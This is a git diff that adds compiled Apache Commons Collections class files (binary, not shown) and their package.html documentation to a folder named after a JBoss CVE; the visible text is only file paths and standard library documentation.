b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/StringValueTransformer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/StringValueTransformer.class new file mode 100644 index 0000000..1a602fe Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/StringValueTransformer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/SwitchClosure.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/SwitchClosure.class new file mode 100644 index 0000000..887b765 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/SwitchClosure.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/SwitchTransformer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/SwitchTransformer.class new file mode 100644 index 0000000..29e93ac Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/SwitchTransformer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformedPredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformedPredicate.class new file mode 100644 index 0000000..6a2a7db Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformedPredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformerClosure.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformerClosure.class new file mode 100644 index 0000000..0e7e62d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformerClosure.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformerPredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformerPredicate.class new file mode 100644 index 0000000..dc5146b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/TransformerPredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/TruePredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/TruePredicate.class new file mode 100644 index 0000000..f3785a8 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/TruePredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/UniquePredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/UniquePredicate.class new file mode 100644 index 0000000..9347d8a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/UniquePredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/WhileClosure.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/WhileClosure.class new file mode 100644 index 0000000..6704dab Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/WhileClosure.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/package.html b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/package.html new file mode 100644 index 0000000..8e3724d --- /dev/null +++ b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/package.html @@ -0,0 +1,26 @@ + + + +

+This package contains implementations of the +{@link org.apache.commons.collections.Closure Closure}, +{@link org.apache.commons.collections.Predicate Predicate}, +{@link org.apache.commons.collections.Predicate Transformer} and +{@link org.apache.commons.collections.Predicate Factory} interfaces. +These provide simple callbacks for processing with collections. + + diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractEmptyIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractEmptyIterator.class new file mode 100644 index 0000000..fdaf05b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractEmptyIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractIteratorDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractIteratorDecorator.class new file mode 100644 index 0000000..b343ca6 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractIteratorDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.class new file mode 100644 index 0000000..5f3adfb Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.class new file mode 100644 index 0000000..8b8e0e6 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.class new file mode 100644 index 0000000..28d4ae0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ArrayIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ArrayIterator.class new file mode 100644 index 0000000..2510cbc Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ArrayIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ArrayListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ArrayListIterator.class new file mode 100644 index 0000000..26138c1 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ArrayListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/CollatingIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/CollatingIterator.class new file mode 100644 index 0000000..679a4dd Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/CollatingIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyIterator.class new file mode 100644 index 0000000..0839c07 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyListIterator.class new file mode 100644 index 0000000..5799bd5 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyMapIterator.class new file mode 100644 index 0000000..a6b73d1 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyOrderedIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyOrderedIterator.class new file mode 100644 index 0000000..7cd9b0f Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyOrderedIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.class new file mode 100644 index 0000000..e578863 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EntrySetMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EntrySetMapIterator.class new file mode 100644 index 0000000..01f83e6 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EntrySetMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EnumerationIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EnumerationIterator.class new file mode 100644 index 0000000..aff1909 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EnumerationIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/FilterIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/FilterIterator.class new file mode 100644 index 0000000..d127102 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/FilterIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/FilterListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/FilterListIterator.class new file mode 100644 index 0000000..2123ed7 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/FilterListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/IteratorChain.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/IteratorChain.class new file mode 100644 index 0000000..5542a94 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/IteratorChain.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/IteratorEnumeration.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/IteratorEnumeration.class new file mode 100644 index 0000000..d3ee13a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/IteratorEnumeration.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ListIteratorWrapper.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ListIteratorWrapper.class new file mode 100644 index 0000000..4c54d2f Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ListIteratorWrapper.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/LoopingIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/LoopingIterator.class new file mode 100644 index 0000000..68e6fca Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/LoopingIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectArrayIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectArrayIterator.class new file mode 100644 index 0000000..8ff0f15 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectArrayIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectArrayListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectArrayListIterator.class new file mode 100644 index 0000000..c758324 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectArrayListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectGraphIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectGraphIterator.class new file mode 100644 index 0000000..3bd7267 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectGraphIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ProxyIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ProxyIterator.class new file mode 100644 index 0000000..5118599 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ProxyIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ProxyListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ProxyListIterator.class new file mode 100644 index 0000000..a65e7c3 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ProxyListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/SingletonIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/SingletonIterator.class new file mode 100644 index 0000000..08a1ab6 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/SingletonIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/SingletonListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/SingletonListIterator.class new file mode 100644 index 0000000..23cf5c3 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/SingletonListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/TransformIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/TransformIterator.class new file mode 100644 index 0000000..f98e0ea Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/TransformIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UniqueFilterIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UniqueFilterIterator.class new file mode 100644 index 0000000..5d80a2e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UniqueFilterIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableIterator.class new file mode 100644 index 0000000..93da327 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableListIterator.class new file mode 100644 index 0000000..bf87f9c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableMapIterator.class new file mode 100644 index 0000000..662f8a8 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.class new file mode 100644 index 0000000..610c227 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/package.html b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/package.html new file mode 100644 index 0000000..d102222 --- /dev/null +++ b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/iterators/package.html @@ -0,0 +1,26 @@ + + + +

+This package contains implementations of the +{@link java.util.Iterator Iterator} interface. +

+You may also consider using +{@link org.apache.commons.collections.IteratorUtils IteratorUtils}, +which is a single class that uses static methods to construct instances +of the classes in this package. + diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractKeyValue.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractKeyValue.class new file mode 100644 index 0000000..4f6aaf4 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractKeyValue.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractMapEntry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractMapEntry.class new file mode 100644 index 0000000..e19d17d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractMapEntry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.class new file mode 100644 index 0000000..f6ab76a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/DefaultKeyValue.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/DefaultKeyValue.class new file mode 100644 index 0000000..e24c6de Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/DefaultKeyValue.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/DefaultMapEntry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/DefaultMapEntry.class new file mode 100644 index 0000000..f60ce84 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/DefaultMapEntry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/MultiKey.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/MultiKey.class new file mode 100644 index 0000000..6fd862b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/MultiKey.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/TiedMapEntry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/TiedMapEntry.class new file mode 100644 index 0000000..850eb75 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/TiedMapEntry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.class new file mode 100644 index 0000000..3843590 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/package.html b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/package.html new file mode 100644 index 0000000..7563df2 --- /dev/null +++ b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/package.html @@ -0,0 +1,29 @@ + + + +

+This package contains implementations of collection and map related key/value classes. +These are usually used in maps, however they can be used as data holders in any collection. +

+The following key/value designs are included: +

+ + diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedListIterator.class new file mode 100644 index 0000000..4892fee Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedSubList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedSubList.class new file mode 100644 index 0000000..9cd3e5f Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedSubList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedSubListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedSubListIterator.class new file mode 100644 index 0000000..844fc74 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedSubListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$Node.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$Node.class new file mode 100644 index 0000000..5e9466e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$Node.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList.class new file mode 100644 index 0000000..637cb9a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractListDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractListDecorator.class new file mode 100644 index 0000000..b6c746d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractListDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractSerializableListDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractSerializableListDecorator.class new file mode 100644 index 0000000..f4973f5 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractSerializableListDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/CursorableLinkedList$Cursor.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/CursorableLinkedList$Cursor.class new file mode 100644 index 0000000..348dc46 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/CursorableLinkedList$Cursor.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/CursorableLinkedList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/CursorableLinkedList.class new file mode 100644 index 0000000..6e98b2e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/CursorableLinkedList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/FixedSizeList$FixedSizeListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/FixedSizeList$FixedSizeListIterator.class new file mode 100644 index 0000000..0af6964 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/FixedSizeList$FixedSizeListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/FixedSizeList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/FixedSizeList.class new file mode 100644 index 0000000..f1a3e86 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/FixedSizeList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/LazyList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/LazyList.class new file mode 100644 index 0000000..4ecf9d0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/LazyList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/NodeCachingLinkedList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/NodeCachingLinkedList.class new file mode 100644 index 0000000..9d5105b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/NodeCachingLinkedList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/PredicatedList$PredicatedListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/PredicatedList$PredicatedListIterator.class new file mode 100644 index 0000000..d4ab19f Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/PredicatedList$PredicatedListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/PredicatedList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/PredicatedList.class new file mode 100644 index 0000000..6610ec4 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/PredicatedList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList$SetListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList$SetListIterator.class new file mode 100644 index 0000000..e49031a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList$SetListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList$SetListListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList$SetListListIterator.class new file mode 100644 index 0000000..8655446 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList$SetListListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList.class new file mode 100644 index 0000000..37d9b77 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/SynchronizedList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/SynchronizedList.class new file mode 100644 index 0000000..34d011e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/SynchronizedList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TransformedList$TransformedListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TransformedList$TransformedListIterator.class new file mode 100644 index 0000000..ccba45d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TransformedList$TransformedListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TransformedList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TransformedList.class new file mode 100644 index 0000000..bb93ca6 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TransformedList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList$AVLNode.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList$AVLNode.class new file mode 100644 index 0000000..c9221ce Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList$AVLNode.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList$TreeListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList$TreeListIterator.class new file mode 100644 index 0000000..a78f5b9 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList$TreeListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList.class new file mode 100644 index 0000000..33f3cdf Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TypedList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TypedList.class new file mode 100644 index 0000000..7cb6971 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/TypedList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/UnmodifiableList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/UnmodifiableList.class new file mode 100644 index 0000000..8f2c470 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/UnmodifiableList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/package.html b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/package.html new file mode 100644 index 0000000..c8d5b8a --- /dev/null +++ b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/list/package.html @@ -0,0 +1,41 @@ + + + +

+This package contains implementations of the +{@link java.util.List List} interface. +

+The following implementations are provided in the package: +

+

+The following decorators are provided in the package: +

+ + diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$EntrySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$EntrySet.class new file mode 100644 index 0000000..96743ba Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$EntrySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$EntrySetIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$EntrySetIterator.class new file mode 100644 index 0000000..1a64af0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$EntrySetIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashEntry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashEntry.class new file mode 100644 index 0000000..a1a5f82 Binary files /dev/null and 